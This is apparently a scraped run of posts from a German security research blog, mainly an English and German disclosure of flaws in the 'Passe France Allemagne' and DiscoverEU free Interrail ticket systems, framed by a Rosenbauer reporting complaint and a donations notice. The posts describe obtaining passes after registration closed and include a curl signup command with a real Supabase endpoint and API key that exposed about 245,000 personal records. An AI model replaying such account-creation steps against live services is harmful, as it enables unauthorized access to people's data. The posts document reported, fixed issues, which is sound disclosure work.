Weil wir von der Firma Rosenbauer trotz schriftlicher Bitte und telefonischer Nachfrage keine Antwort auf unseren Bericht bekommen haben, zweifeln wir auch stark an, dass sie allen betroffenen Kunden Bescheid geben. Dass unser Report angekommen sein muss, haben wir erst auf Nachfrage von den Journalist*innen erfahren, mit denen wir den Fund geteilt haben. Auch ob die Lücke bereits geschlossen ist, hat uns Rosenbauer nicht selbst mitgeteilt - zumindest unseren Fund konnten wir nun nicht mehr reproduzieren.

Diese Form der Nicht-Kommunikation mit Menschen, die eine Sicherheitslücke melden, passiert uns wirklich selten. Insbesondere für ein Unternehmen dieser Größe ist diese Art echt überraschend und wirklich nicht angebracht (aber das wäre sie nie!).

Ob Rosenbauer ihren vielen Kunden auch so schlecht kommuniziert, dass die Daten ihrer Tracker offen im Netz rumlagen?

📰

Wir haben diesen Fund gemeinsam mit Muzayen, Hakan und Hannes veröffentlicht. Ihre Artikel findet ihr beim Spiegel (💶), bei derStandard und beim ZDF.

Das Finden der Sicherheitslücke hat zwar nicht lange gedauert, das Aufschreiben, Melden und Veröffentlichen aber um so länger. Außerdem ist das Gefühl, panisch in eine schweigende Mailbox zu schrei(b)en auch wenig spaßig. Wir würden in unserer Freizeit gerne auch schönere Dinge tun. Wenn ihr uns unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/. Danke!

Was eine security.txt ist und warum das für IT-Sicherheitsforschende wie uns so wichtig ist, haben wir auch ausführlich hier erklärt. Oder Kurzfassung hier. ↩︎
Computer Emergency Response Team - das sind IT-Sicherheitsfachleute, die bei der Lösung von konkreten Problemfällen unterstützen, sich aber auch allgemein mit dem Thema beschäftigen, also auch über Sicherheitslücken und Lösungsansätze informieren ↩︎

How we tried to book a train ticket and ended up with a databreach with 245,000 records

Mon, 19 Jun 2023 06:50:10 +0200

Dieser Artikel ist auch auf deutsch erschienen

To celebrate Franco-German friendship, German Transport Minister Wissing and his French counterpart Beaune came up with something special: 30,000 free Interrail tickets per country for travel in Germany and France for young adults between 18 and 27. Codename: “Passe France Allemagne”

However, many things went wrong when the Interrail passes were distributed. In the following, we want to take you on a journey through the stages of the not-so-well-implemented ticket and show you how you could still get a pass after registration ended.

And while we’re on the tracks, we’ll also have a look at a security breach in a similar project at the EU level. Implemented by the same agency - which left the data of about 245,000 registrations almost unprotected on the web.

Please stand clear of the doors – we’re departing! 🚄🚃🚃🚃🚃

Station 1: The town of DDoSing

On June 12 at 10am, the registration for the “Passe France Allemagne” opened - and the servers were immediately overloaded.

The rush could have been expected, as the tickets were distributed on a “first come, first served” basis. Anyone who wanted a chance to get one of the coveted tickets had to be quick. As a result, tens of thousands of users in Germany and France tried to get their hands on the pass at 10 a.m. on the dot.

Of course, setting up a system that can handle such a rush is not trivial. But it is possible! Organizers of concerts by popular bands and artists, for example, are familiar with similar situations - and can usually cope with them.

Something like this has to be well thought out, prepared and tested. If they had done that properly, they would have realized: Damn, we can’t handle so many people - and (hopefully) would have thought of another solution.

After all, there are alternatives to the “first come, first served” principle: Instead of putting everything on a moment’s notice, you can spread the sale over several points in time. This not only spreads out the rush - it also allows people to attend who don’t have time on a Monday at 10 a.m., for example because they’re at school, in training or at university.

In such a system, you can also give interested people a few days to register and then distribute the passes at random amongst all who registered.

Because one thing is for certain: Overloaded servers are not a sign of the success of a campaign, but a sign of failure in planning.

Station 2: Password-Reset-City

While we were still angry about this failure, we got a hint by mail: This wasn’t the only part of the platform that wasn’t properly thought out and tested.

How did this show? The lucky few who were able to secure a pass had to provide an email address and come up with a password. With that combination, they could then log into the site to check for the status of their “Passe France Allemagne”.

It’s easy to forget or mistype a password - especially when things need to happen quickly. Fortunately, the “Forgot Password?” function was invented for such situations. And as usual, you receive an e-mail from the “Passe France Allemagne” with a link to reset your password. What is unusual, however, is that this link leads to an error page:

If we take a closer look at the error page, we see that it links to a Vercel project that is not registered. Vercel is a cloud provider where you can host your own web applications. These applications are then available under <project name>.vercel.app. However, if no project is registered with the corresponding name, as is the case here, basically anyone can hijack the address.

Such an hijacked application address could then for example be used for targeted phishing. Fortunately, it was an honest person who found the mistake, registered the application themself and told the responsible organisations and us. Thus, the link to the “Forgot Password?” function only leads to a harmless test page. This page still does not belong to the organizers of the “Passe France Allemagne”, but at least to a friendly person and not to criminals.

Station 3: Free-tickets-for-all-avenue

This brings us to the next stop on our journey: The ordering process.

Since only 30,000 passes were supposed to be given out, the ordering system has to pay close attention to that. As soon as the 30,001st person tries to register, the system would have to show an error and no longer allow registration. But that was not the case here: Instead, once the first 30,000 people started filling out the booking form, the form was simply removed from the page. The website now displays a notice stating that all passes have been allocated.

But just because you started the form, doesn’t mean you already finished it. So a backdoor was built in: Anyone who had already started an order process but not completed it received an e-mail with a special link. This link could then be used to complete the order process.

There was just only one tiny problem: You could generate these codes yourself with a simple command - even if you didn’t start the order process in time.

The video shows a new code being generated on the left side of the screen. This code is then copied into the browser on the right, where the order form for the “Passe France Allemagne” then opens. The form is filled out and at the end you see a confirmation that the registration was successful.

A few hours later, our new Interrail pass arrived by e-mail.

So the whole thing is kind of like having a treasure in your house - and hanging a sign on the front door saying “All the gold has already been distributed”. But everyone can find the key to the back door.

If you want to know exactly when everything happened, you can find a timeline at the end of the article.

Detour via Reporting

Of course, we wanted to quickly report the problems to the appropriate parties so they could be fixed. Unfortunately, this turned out to be more difficult than expected: a security contact was nowhere to be found.¹

In the end we contacted all places that seemed like they could change something: The advertising agency that’s named in the imprint of the “Passe France Allemagne”. The IT security team of the german railway (Deutsche Bahn). The contact address from the imprint of the german page of the “Passe France Allemagne”. The contact address of the german Ministry of Transportation. And finally, the german federal computer emergency response team (CERT-Bund). We sent a description of the issue to all these and asked for confirmation of receipt and next steps.

Unfortunately, we did not receive an answer at first. Howevery one day later, the extra access was no longer available. Instead, the backdoor page also showed a notice that all passes were already taken.

Figuratively speaking, the back door was also provided with a notice: “Unfortunately, all gold bars have already been distributed.”

Station 4: Where the wild APIs live.

But noone checked if the door were actually locked. As it turns out: By sending api request directly to the order backend, we could keep generating passes.

Only a few minutes later, the pass arrived by email:

Station 5: “Unfortunately, we came to an unscheduled stop…”

At this point we didn’t know what to do anymore.

So we put our heads together and tried to find a solution. We knew that all people in charge were just pointing at the press office of Eurail (i.e. the company behind all Interrail passes, which was probably charged with issuing these passes as well) - and Eurail claimed there was no loophole. So we sent our description to the press office again.

Thereupon - and after insistent requests through other channels - we finally got an answer. Eurail thanked us for pointing out the issue, told us that they had fixed the issue and were now looking for the falsely issued passports.

How Eurail fixed the issue

The backend for the order page was build with Supabase. The API part for this is implemented using PostgREST.

Conveniently, PostgREST provides automatic API documentation. So we can easily track what they really changed.

And this change was actually relatively small:

All api endpoints of the order process now have a new parameter secret_key. If you don’t specify this parameter, you can’t call the functions at all.

{
  "code": "PGRST202",
  "details": "Searched for the function public.step_eligibility with parameters accepted_conditions, accepted_privacy, birth_date, last_step_completed, residence_country, user_session_code or with a single unnamed json/jsonb parameter, but no matches were found in the schema cache.",
  "hint": "Perhaps you meant to call the function public.step_eligibility(accepted_conditions, accepted_privacy, birth_date, last_step_completed, residence_country, secret_key, user_session_code)",
  "message": "Could not find the function public.step_eligibility(accepted_conditions, accepted_privacy, birth_date, last_step_completed, residence_country, user_session_code) in the schema cache"
}

If you specify an incorrect secret_key, you will get an error message:

{
  "code": "P0001",
  "details": null,
  "hint": null,
  "message": "Not allowed"
}

We could not try what happens if you sent a request with the correct secret_key - because we (fortunately) do not know it.

So now both the front door and the back door were finally locked.

Just to emphasize that again: Publishing an API doc is not a security breach! On the contrary, it should actually be good practice to do so. Because a software does not become more secure by the fact that nobody knows exactly how it works.

Your front door doesn’t become more secure by painting it in exactly the same color as your house wall, so it’s not so easy to spot. It may look funny and confuse you at first - but the door will be more secure if you lock it.

So lock it, don’t hide it! 🤝

Station 6: “Data leak of 245,000 records today from track 2 - directly opposite.”

But these doors to more passes weren’t the only ones we found unlocked. We also took a look at the neighboring projects and found another offer similar to the “Passe France Allemange”: DiscoverEU.

This program emerged back in 2018 as a result of the #FreeInterrail campaign. 18-year-olds can sign up to win a free Interrail pass and travel Europe.

While the “Passe France Allemagne” was dreamed up by the German and French governments, DiscoverEU was the created by the European Commission. However, both offers have one crucial thing in common: This project was implemented by the same agencies - MCI together with Caracal.

Information about DiscoverEU is available at start-discover.eu. But we didn’t spend much time looking around. Because through the Certificate Transparency Logs we quickly discovered the domain dashboard.start-discover.eu. The domain sounds exciting - but we are only greeted with a login screen.

On a technical level, the site is built similarly to the “Passe France Allemagne” - and thus we already knew the API to create an account. On the off chance we created an account – and to our surprise we were able to successfully log in with it. With great concern for the work that now followed, we noticed:

245,971 registrations for DiscoverEU were retrievable on the dashboard. The following data was displayed:

Name of the person
E-mail address
Country of origin
State of their registration
Type of ticket
Interrail order number

All of this personal data was virtually open on the Internet and could be retrieved with little effort or prior knowledge.

Technical details

The steps necessary to exploit the vulnerability were:

Create an account using the following curl command. [EMAIL] and [PASSWORD] would need to be replaced with an email address and password:

curl --request POST \
  --url https://zaymuaqytesywmkspxqk.supabase.co/auth/v1/signup \
  --header 'Content-Type: application/json' \
  --header 'apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6InpheW11YXF5dGVzeXdta3NweHFrIiwicm9sZSI6ImFub24iLCJpYXQiOjE2Njk5OTM3NTgsImV4cCI6MTk4NTU2OTc1OH0.JraN96zZgiM5iOkWFqNmQYWZG2jS7kTeEaYS6eW8xj4' \
  --data '{
    "email": "[EMAIL]",
    "password": "[PASSWORD]"
}'

After a few moments, a confirmation email will arrive. Click on the link contained in it:
Log in with the newly created account on https://dashboard.start-discover.eu.
You can see all registrations.

Another stop in reporting

Completely shocked by this databreach, we again unpacked our digital stationery and reported very quickly: To the agency, the contact address of Start-Discover.eu, the CERT-EU and the office of the European Commission responsible for DiscoverEU. Fortunately, we already knew the right contact person in the press office of Eurail, who then quickly passed the whole thing on to the responsible people.

They reacted quickly and after less than an hour the vulnerabilty was closed - they simply deactivated the registration of new account. They also informed us that that an external security test would now be carried out and the necessary steps defined in the GDPR would be taken.

Last Stop: Conclusion

The “Passe France Allemagne” and DiscoverEU are actually great ideas: Free train tickets for young people to get to know their neighboring countries. But instead of simply enabling as many people as possible to enjoy a nice summer vacation and make new acquaintances, this unfortunately once again resulted in a digital disaster.

The “Passe France Allemagne” is also a good example of the power imbalances created by bad digital solutions: Those who have enough technical knowledge still get a passport even if all of them are actually already taken. Everyone else goes away empty-handed or even loses their accounts.

Such half-baked solutions would already be insufficient to sell a few concert tickets. But if a federal ministry gives away train tickets, special attention has to be paid that everything is well tested.

It gets even worse when we can not only create new passports, but even retrieve more than 245,000 records from the DiscoverEU program. We say times and times again: If a website is mature enough to process data, it must also be mature enough to keep it to itself.
It’s staggering that such careless work was done here - and that this is apparently just accepted.

We can only hope that we really were the first to discover this vulnerability - and that the data has not already been taken away by less benevolent actors.

Timeline

All times are CEST.

2023-06-12 10:00 – Start of sale.
2023-06-12 – Unregistered Vercel application is found and reported.
2023-06-13 23:00 – We find the backdoor.
2023-06-14 01:15 – Report to DB-CSIRT, MCI, contact named in the imprint, BMDV, CERT-Bund
2023-06-14 22:00 – Our test addresses receive interrail passes
2023-06-15 00:00 – We send the report to Eurail as well
2023-06-15 10:00 – We notice that the backdoor is also replaced by the “sold out”-notice
2023-06-15 13:00-14:00 – We can verify that passes are still registerable via API
2023-06-15 17:30 – Reply from Eurail that the loopholes have been closed
2023-06-16 13:00 – We discover the databreach at Start-Discover.eu
2023-06-16 15:30 – We report the databreach
2023-06-16 18:50 – MCI replies to us, thanks for the report, at 16:20 the vulnerability had been closed

🤝

We shared our findings with Eva Wolfangel for ZEIT Online. You can find her article here (in German).

Originally we wanted to publish our findings on Friday, 16th of june 2023. But because we discovered the databreach at DiscoverEU, reported them and waited until everything was secured, we postponed the publication.

Documenting, reporting and publishing such issues takes nerves and time - which we would also much rather spend looking out the train window. We do all this on a voluntary basis and in our spare time.

If you want to support us, you can find possibilities here: https://zerforschung.org/unterstuetzen/

We recommend that every company publishes a security contact and, if necessary, further information on reporting security vulnerabilities on all websites. The easiest way to do this is via a security.txt. This would help (not only) us to be able to report such issues without detours to the right places in companies. ↩︎

Wie wir ein Bahnticket buchen wollten und am Ende 245.000 Datensätze hatten

Mon, 19 Jun 2023 06:50:00 +0200

This article was also published in english

Um die deutsch-französische Freundschaft zu feiern, haben sich Bundesverkehrsminister Wissing und sein französischer Kollege Beaune etwas Besonderes ausgedacht: Je Land 30.000 kostenlose Interrail-Tickets für Reisen in Deutschland und Frankreich für junge Erwachsene zwischen 18 und 27.

Allerdings lief beim Verteilen der Interrail-Pässe einiges schief. Im Folgenden wollen wir euch mitnehmen auf eine Reise durch die Stationen des nicht ganz so gut umgesetzten Tickets und zeigen, wie man auch nach Ende der Registrierung noch an einen Pass kommen konnte.

Und wenn wir schonmal unterwegs sind, präsentieren wir gleich mit: Eine Sicherheitslücke in einem ähnlichen Projekt auf EU-Ebene – umgsetzt von der gleichen Agentur – wodurch die Daten von rund 245.000 Registrierungen nahezu ungeschützt im Netz standen.

Bitte zurücktreten – die Türen schließen und wir fahren ab! 🚄🚃🚃🚃🚃

Station 1: DDoSingen

Am 12. Juni um 10 Uhr war es so weit: Die Registrierung für den Freundschaftspass wurde geöffnet – und die Server waren sofort überlastet.

Dabei hätte man mit dem Ansturm rechnen müssen, denn die Tickets wurden nach dem “First come, first served”-Prinzip (“wer zuerst kommt, mahlt zuerst”) verteilt. Wer eine Chancen auf eins der begehrten Tickets haben wollte, musste also schnell sein. Dadurch probierten vermutlich zehntausende Nutzer*innen in Deutschland und Frankreich pünktlich um 10 Uhr gleichzeitig, an den Pass zu kommen.

Klar: Ein System aufzusetzen, das mit so einem Ansturm umgehen kann, ist nicht trivial. Aber es ist möglich! Ähnliche Situationen kennen beispielsweise Veranstalter*innen von Konzerten beliebter Bands und Künstler*innen – und können in der Regel damit umgehen.

So etwas muss gut durchdacht, vorbereitet und getestet werden. Hätte man das ordentlich gemacht, hätte man merken müssen: Verdammt, das können wir nicht stemmen – und man hätte sich eine andere Lösung überlegt.

Denn das “First come, first served”-Prinzip ist nicht alternativlos: Statt alles auf einen Moment zu setzen, kann man den Verkauf auf mehrere Zeitpunkte verteilen. So verteilt sich nicht nur der Ansturm – es können auch Personen teilnehmen, die an einem Montag um 10 Uhr keine Zeit haben, beispielsweise weil sie in der Schule, im Ausbildungsbetrieb oder in der Uni sitzen. #Zielgruppenorientierung

Man kann in einem solchen System auch Interessierten ein paar Tage Zeit geben, um sich anzumelden und dann die Pässe verlosen.

Denn: Überlastete Server sind kein Zeichen für den Erfolg einer Aktion, sondern ein Zeichen für Versagen bei der Planung.

Station 2: Passwort-Reset-Hausen

Während wir uns noch über dieses Versagen wunderten, bekamen wir einen Hinweis per Mail: Nicht nur an dieser Stelle war die Plattform mit der heißen Nadel gestrickt und ungetestet.

Wie zeigte sich das? Die Glücklichen, die sich einen Pass sichern konnten, mussten eine E-Mail-Adresse angeben und sich ein Passwort ausdenken. Mit dieser Kombination konnten sie sich dann auf der Freundschaftspass-Seite anmelden, um nach ihrem Pass zu schauen.

So ein Passwort ist leicht vergessen oder falsch eingetippt – gerade wenn es schnell gehen muss.

Glücklicherweise wurde für solche Situationen die “Passwort vergessen”-Funktion erfunden. Und wie gewohnt erhält man damit eine E-Mail mit einem Passwort-Reset-Link. Ungewohnt ist allerdings, dass dieser Link auf eine Fehlerseite führt:

Wenn wir uns die Fehlerseite genauer ansehen, stellen wir fest, dass hier auf ein Vercel-Projekt verlinkt wurde, das nicht registriert ist. Bei Vercel handelt es sich um einen Cloud-Anbieter, bei dem man seine Webanwendungen hosten kann. Diese Anwendungen sind dann unter <Anwendungsname>.vercel.app verfügbar. Ist, wie hier, jedoch keine mit dem entsprechenden Namen registiert, können sich die Adresse grundsätzlich alle unter den Nagel reißen.

Und wer das tut und eine solche Anwendungs-Adresse quasi kapert, könnte damit beispielsweise gezieltes Phishing betreiben. Zum Glück war es eine ehrliche Person, die den Fehler gefunden hat, die Anwendung selbst registrierte und den Verantwortlichen und uns Bescheid sagte. So führt der Link zur “Passwort vergessen”-Funktion nur zu einer harmlosen Testseite. Die gehörte dann zwar nicht den Anbietern des Freundschaftspasses, aber immerhin einer freundlich gesonnenen Person und keinen Kriminellen.

Station 3: Freitickets-für-alle-Allee

Damit kommen wir zur nächsten Station unserer Reise: Dem Bestellvorgang.

Da nur 30.000 Pässe vergeben werden sollten, muss das Bestellsystem genau darauf aufpassen. Sobald also die 30.001te Person versucht sich anzumelden, müsste das System einen Fehler anzeigen und keine Anmeldung mehr erlauben. Doch das war hier nicht der Fall: Stattdessen hat man sich – nachdem die ersten 30.000 Menschen angefangen hatten, das Bestellformular auszufüllen – schlicht dafür entschieden, das Buchungsformular nicht mehr anzuzeigen. Auf der Website prangt nun ein Hinweis, dass alle Pässe vergeben sind.

Doch wer das Formular angefangen hat, war ja noch lange nicht fertig. Also hat man eine Hintertür eingebaut: Wer bereits einen Bestellvorgang begonnen, aber nicht abgeschlossen hatte, bekam eine E-Mail mit einem speziellen Link. Über diesen konnte man dann den Bestellvorgang abschließen.

Nur ein klitzekleines Problemchen gab es dabei:

Mit einem einfachen Kommando konnte man sich diesen Code selbst generieren – auch ohne den Bestellvorgang rechtzeitig begonnen zu haben.

Im Video sehen wir, wie zuerst links ein neuer Code generiert wird. Der wird dann rechts in den Browser kopiert, in dem sich daraufhin das Bestellformular des Freundschaftspasses öffnet. Dieses wird ausgefüllt und am Ende sieht man die Bestätigung, dass die Anmeldung für den Freundschaftspass erfolgreich war.

Ein paar Stunden später kam dann der Interrail-Pass per E-Mail.

Das Ganze ist also in etwa so, als hätte man eine Truhe voller Gold – und hängt an die Vordertür ein Schild: “Alles Gold ist bereits verteilt”. Die Hintertür bleibt aber sperrangelweit offen.

Wer genau wissen will, wann was passiert ist, findet am Ende des Artikels eine Timeline.

Umleitung über Meldungen

Natürlich wollten wir die Probleme schnell an die zuständigen Stellen melden, damit sie behoben werden. Das gestaltete sich leider schwieriger als gedacht: Ein Sicherheits-Kontakt war nicht zu finden.¹

Also haben wir uns an alle Stellen gewandt, die so wirkten, als könnten sie hier etwas ändern: Die Werbeagentur, die im Impressum des Freundschaftspasses steht. Das IT-Sicherheits-Team der Bahn. Die Kontaktadresse aus dem Impressum des Freundschaftspasses. Den Bürgerservice des Verkehrsministeriums. Und schließlich auch das CERT-Bund. An all diese Adressen haben wir eine Beschreibung der Lücke geschickt und um eine Eingangsbestätigung sowie nächste Schritte gebeten.

Leider bekamen wir darauf zunächst keine Antwort. Einen Tag später war immerhin der Extra-Zugang nicht mehr verfügbar. Auch hier kam der Hinweis, das alle Tickets bereits vergeben wären.

Bildlich gesprochen wurde also auch die Hintertür mit einem Hinweis versehen: “Leider sind alle Goldbarren schon verteilt.”

Station 4: Wo die wilden APIs wohnen

Was aber niemand gemacht hat: Die Türen auch wirklich zugeschlossen. Denn wenn man direkt Anfragen an die Bestell-Schnittstelle geschickt hat, konnte man weiter Pässe generieren.

Und wenige Minuten später kam dann auch ein Pass per E-Mail:

Station 5: “Wir sind leider außerplanmäßig zum Halten gekommen…”

Langsam wussten wir nicht mehr, was wir machen sollten.

Also haben wir die Köpfe zusammengesteckt und überlegt. Wir wussten, dass alle Verantwortlichen nur auf die Pressestelle von Eurail (also der Firma hinter allen Interrail-Pässen, die wohl beauftragt war, auch diese Pässe zu vergeben) zeigten – und diese behauptete, es gäbe keine Lücke. Also haben wir der Pressestelle nochmal unsere Beschreibung geschickt.

Daraufhin – und nach nachdrücklichen Nachfragen auf anderen Wegen – bekamen wir endlich eine Antwort. Eurail dankte uns für den Hinweis, man habe die Lücke gestopft und suche jetzt nach den fälschlich herausgegebenen Pässen.

Wie Eurail die Lücke geschlossen hat

Das Backend für die Bestellseite läuft auf Supabase. Die API wird dabei mittels PostgREST umgesetzt.

Praktischerweise bietet PostgREST gleich automatische API-Doku mit an. So können wir leicht nachvollziehen, was sie wirklich geändert haben.

Und diese Änderung war tatsächlich relativ klein:

Alle Funktionen des Buchungsprozesses haben jetzt einen neuen Parameter secret_key. Wer diesen Parameter nicht angibt, kann die Funktionen gar nicht erst aufrufen.

{
  "code": "PGRST202",
  "details": "Searched for the function public.step_eligibility with parameters accepted_conditions, accepted_privacy, birth_date, last_step_completed, residence_country, user_session_code or with a single unnamed json/jsonb parameter, but no matches were found in the schema cache.",
  "hint": "Perhaps you meant to call the function public.step_eligibility(accepted_conditions, accepted_privacy, birth_date, last_step_completed, residence_country, secret_key, user_session_code)",
  "message": "Could not find the function public.step_eligibility(accepted_conditions, accepted_privacy, birth_date, last_step_completed, residence_country, user_session_code) in the schema cache"
}

Wer einen falschen secret_key angibt, bekommt eine Fehlermeldung:

{
  "code": "P0001",
  "details": null,
  "hint": null,
  "message": "Not allowed"
}

Was mit dem richtigen secret_key passieren würde, konnten wir noch nicht ausprobieren – denn den kennen wir (zum Glück) nicht.

Jetzt wurden also endlich sowohl die Vordertür als auch die Hintertür abgeschlossen.

Nur um dass nochmal ganz klar zu betonen: Eine API-Doku zu veröffentlichen, ist keine Sicherheitslücke! Im Gegenteil sollte es eigentlich gute Praxis sein, das zu tun. Denn eine Software wird nicht dadurch sicherer, dass niemand genau weiß, wie sie funktioniert.

Deine Haustür wird ja auch nicht dadurch sicherer, dass du sie in genau dem gleichen Farbton wie deine Hauswand anmalst, sodass sie nicht so leicht zu sehen ist. Das sieht sicher lustig aus und verwirrt erstmal – aber sicherer wird die Tür, indem du sie abschließt.

Also abschließen, nicht verstecken! 🤝

Station 6: “Datenleck mit 245.000 Datensätzen heute von Gleis 2 – direkt gegenüber”

Doch diese unverschlossenen Türen waren nicht die einzigen, die wir gefunden haben. Nachdem die Lücke geschlossen wurde, sind wir zu benachbarten Projekten des Auftraggebers spaziert und fanden noch ein ähnliches Programm wie den Freundschaftspass: DiscoverEU.

Dieses Programm entstand bereits 2018 in Folge der #FreeInterrail-Kampagne. Hierbei können sich 18-Jährige anmelden, um einen kostenlosen Interrail-Pass zu gewinnen und Europa zu bereisen.

Während der Freundschaftspass von der deutschen und der französischen Regierung erdacht wurde, war bei DiscoverEU die Europäische Kommission am Werk. Beide Angebote haben aber eine entscheidende Gemeinsamkeit: Umgesetzt wurde dieses Projekt von den gleichen Agenturen – MCI zusammen mit Caracal.

Informationen zu DiscoverEU gibt es auf start-discover.eu. Da haben wir aber gar nicht viel Zeit mit Umschauen verbracht. Denn durch die Certificate Transparency Logs haben wir relativ schnell ein Dashboard unter dashboard.start-discover.eu entdeckt. Die Domain klingt spannend – wir werden aber nur mit einem Login-Screen begrüßt.

Technisch ist die Seite allerdings ähnlich gebaut wie der Freundschaftspass – und damit kannten wir schon die API, um einen Account anzulegen. Auf gut Glück haben wir uns auf diese Weise einen Account erstellt und uns damit auch noch erfolgreich angemeldet. Mit großer Sorge vor der jetzt folgenden Arbeit stellten wir fest:

In dem Portal waren 245.971 Registrierungen für DiscoverEU abrufbar. Dabei wurden folgende Daten angezeigt:

Name der Person
E-Mail-Adresse
Herkunftsland
Zustand ihrer Anmeldung
Art des Tickets
Interrail-Bestellnummer

All diese persönlichen Daten lagen quasi offen im Internet und waren mit wenig Aufwand und Vorwissen abrufbar.

Technische Details

Die nötigen Schritte, um die Lücke auszunutzen, waren:

Mit dem folgenden curl-Kommando einen Account anlegen. [EMAIL] und [PASSWORD] müssten dabei durch eine E-Mail-Adresse und ein Passwort ersetzt werden:

curl --request POST \
  --url https://zaymuaqytesywmkspxqk.supabase.co/auth/v1/signup \
  --header 'Content-Type: application/json' \
  --header 'apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6InpheW11YXF5dGVzeXdta3NweHFrIiwicm9sZSI6ImFub24iLCJpYXQiOjE2Njk5OTM3NTgsImV4cCI6MTk4NTU2OTc1OH0.JraN96zZgiM5iOkWFqNmQYWZG2jS7kTeEaYS6eW8xj4' \
  --data '{
    "email": "[EMAIL]",
    "password": "[PASSWORD]"
}'

Nach ein paar Sekunden kommt eine Bestätigungs-Email. Auf den darin enthaltenen Link klicken:
Auf https://dashboard.start-discover.eu mit dem Account einloggen.
Man kann alle Registrierungen einsehen.

Erneuter Halt in Meldungen

Völlig schockiert über dieses Datenleck haben wir nochmal unser digitales Briefpapier ausgepackt und ganz schnell gemeldet: An die Agentur, die Kontakt-Adresse von Start-Discover.eu, das CERT-EU und die für DiscoverEU zuständige Stelle der Europäischen Kommission. Außerdem kannten wir zum Glück schon die richtige Ansprechperson in der Pressestelle von Eurail, die das ganze dann schnell an die zuständigen Personen weiterverteilte.

Die reagierten dann auch flott und nach weniger als einer Stunde war die Lücke geschlossen – man hat einfach die Anmeldung deaktiviert. Außerdem, teilte man uns mit, wolle man nun einen externen Sicherheitstest durchführen lassen und die nötigen Schritte, die in der DSGVO bestimmt sind, gehen.

Fazit – Dieser Zug endet hier

Freundschaftspass und DiscoverEU sind eigentlich tolle Ideen: Der Staat schenkt jungen Menschen Bahntickets, um ihre Nachbarländer kennenzulernen. Doch statt einfach möglichst vielen Menschen einen schönen Sommerurlaub und neue Bekanntschaften zu ermöglichen, entstand dabei leider wieder einmal ein Digital-Desaster.

Der Freundschaftspass ist außerdem ein gutes Beispiel für entstehende Macht-Ungleichgewichte durch schlechte digitale Lösungen: Wer genug technische Kenntnisse hat, bekommt auch dann noch einen Pass, wenn eigentlich schon alle vergeben sind. Alle anderen gehen leer aus oder verlieren sogar ihre Accounts.

Solche halbgaren Lösungen wären schon unzureichend, wenn ein Ticketanbieter ein paar Konzertkarten verkaufen will. Doch wenn ein Bundesministerium sich hinstellt und Zugtickets verschenkt, dann muss nochmal besonderes Augenmerk darauf gelegt werden, dass alles gut getestet ist.

Noch schlimmer wird es dann, wenn wir nicht nur neue Pässe anlegen, sondern sogar mehr als 245.000 Datensätze des DiscoverEU-Programms abrufen können. Wir sagen mal wieder: Wenn eine Website marktreif genug ist, um Daten zu verarbeiten, muss sie auch reif genug sein, diese für sich zu behalten.
Es ist erschütternd, dass hier so nachlässig gearbeitet wurde – und das anscheinend einfach so hingenommen wird.

Wir können nur hoffen, dass wir wirklich die Ersten waren, die diese Lücke entdeckt haben – und die Daten nicht schon längst von weniger wohlwollenden Websurfern weggeschafft wurden.

Timeline

Alle Zeiten sind CEST.

2023-06-12 10:00 Uhr – Beginn des Verkaufs
2023-06-12 – Nicht registrierte Vercel-Anwendung wird gefunden und gemeldet
2023-06-13 23:00 Uhr – Wir finden die Hintertür
2023-06-14 01:15 Uhr – Meldung an DB-CSIRT, MCI, Kontakt aus Impressum, BMDV, CERT-Bund
2023-06-14 22:00 Uhr – Wir bekommen Freundschaftspässe an Test-Adressen
2023-06-15 00:00 Uhr – Wir schicken die Meldung auch an Eurail
2023-06-15 10:00 Uhr – Wir stellen fest, dass Hintertür auch durch Hinweis ersetzt ist
2023-06-15 13:00-14:00 Uhr – Wir können verifizieren, dass Pässe weiter über API registrierbar sind
2023-06-15 17:30 Uhr – Antwort von Eurail, dass die Lücken geschlossen wurden
2023-06-16 13:00 Uhr – Wir entdecken die Lücke bei Start-Discover.eu
2023-06-16 15:30 Uhr – Wir melden die Lücke
2023-06-16 18:50 Uhr – MCI schreibt uns, dankt für die Meldung, um 16:20 Uhr sei die Lücke geschlossen gewesen

🤝

Wir haben unsere Funde mit Eva Wolfangel für ZEIT Online geteilt. Ihren Artikel findet ihr hier.

Ursprünglich wollten wir unsere Erkenntnisse am Freitag, 16.06.2023, veröffentlichen. Weil wir dann aber noch die Probleme bei DiscoverEU gefunden, gemeldet und abgewartet haben, bis alles abgesichert war, haben wir die Veröffentlichung verschoben.

Das Dokumentieren, Melden und Veröffentlichen solcher Lücken kostet Nerven und Zeit - die wir auch viel lieber mit Aus-dem-Zugfenster-Gucken verbringen würden. Wir machen das alles ehrenamtlich und in unserer Freizeit.

Wenn ihr uns unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

Wir empfehlen jedem Unternehmen, auf allen Webseiten einen Security-Kontakt und ggf. weitere Informationen zum Melden von Sicherheitslücken zu veröffentlichen. Am einfachsten geht das über eine security.txt. Dies würde (nicht nur) uns helfen, solche Lücken ohne Umwege an die richtigen Stellen in Unternehmen melden zu können. Mehr dazu findet ihr hier. ↩︎

Money Money Money

Tue, 02 May 2023 16:00:00 +0100

tl;dr: Unsere Kontoverbindung musste sich (2025 schon wieder) ändern und wir sind sowohl jetzt bei Patreon als auch bei Steady.

Zuerst einmal wollen wir ein ganz großes Dankeschön loswerden: zerforschung arbeitet komplett ehrenamtlich und dass einige unsere Arbeit so sehr schätzen, dass sie uns beschenken, freut uns immer wieder unfassbar doll. 😊

Neue IBAN

Déjà-vu: Dieser Blogpost war 2023 schonmal aktuell, wir mussten die IBAN 2025 aber schon wieder tauschen 😔.

Wenn ihr uns Geld zukommen lassen möchtet, ist uns eine Überweisung am liebsten. Einige tun das und haben Daueraufträge eingerichtet - nochmals vielen Dank!

Nachdem unsere bisherige Bank übernommen wurde, mussten wir leider unsere IBAN wechseln, sodass ihr eure Daueraufträge anpassen müsst. Die neue Kontoverbindung lautet:

IBAN: ~~DE07 1101 0101 5760 4493 51~~ DE44 1001 8000 0835 1929 25
BIC: ~~SOBKDEBBXXX~~ FNOMDEB2
Kontoinhaber*in: radforschung GbR

⚠️ Bitte ändert bestehende Daueraufträge, ab dem 31.10.2025 gehen Überweisungen automatisch zurück.

Jetzt neu: Patreon & Steady

